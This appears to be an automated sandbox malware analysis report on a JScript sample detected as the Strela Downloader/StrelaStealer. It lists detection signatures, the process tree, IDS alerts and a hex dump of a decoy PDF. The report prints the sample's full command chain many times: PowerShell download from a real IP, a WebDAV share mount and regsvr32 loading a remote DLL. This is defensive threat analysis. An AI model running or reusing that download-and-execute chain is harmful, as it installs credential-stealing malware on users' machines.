Edit tour

Windows Analysis Report
3144522639186114061.js

Overview

General Information

Sample name:	3144522639186114061.js
Analysis ID:	1587515
MD5:	11e9b23d136ebeae56d1ce53bff95a07
SHA1:	c963da8222d217b11330d10199e7641f9075691d
SHA256:	d8f9557aba8bd032b9debe7ae77a228c80bd28df5c240e46fe7c2b6b1a9e15f2
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 564 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2620 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4832 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7348 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7560 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7752 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1656,i,324364413811314309,4010465893870577772,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7364 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7440 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

conhost.exe (PID: 7440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7628 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 564	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2620, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4832, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2620, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4832, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", ProcessId: 564, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7440, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 2620, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 2620, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 2620, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 2620, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 2620, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 2620, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", ProcessId: 564, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2620, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4832, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7364, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7440, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7628, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7364, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7440, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 2620, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:04:08.744674+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:04:06.430586+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3144522639186114061.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3144522639186114061.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:04:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 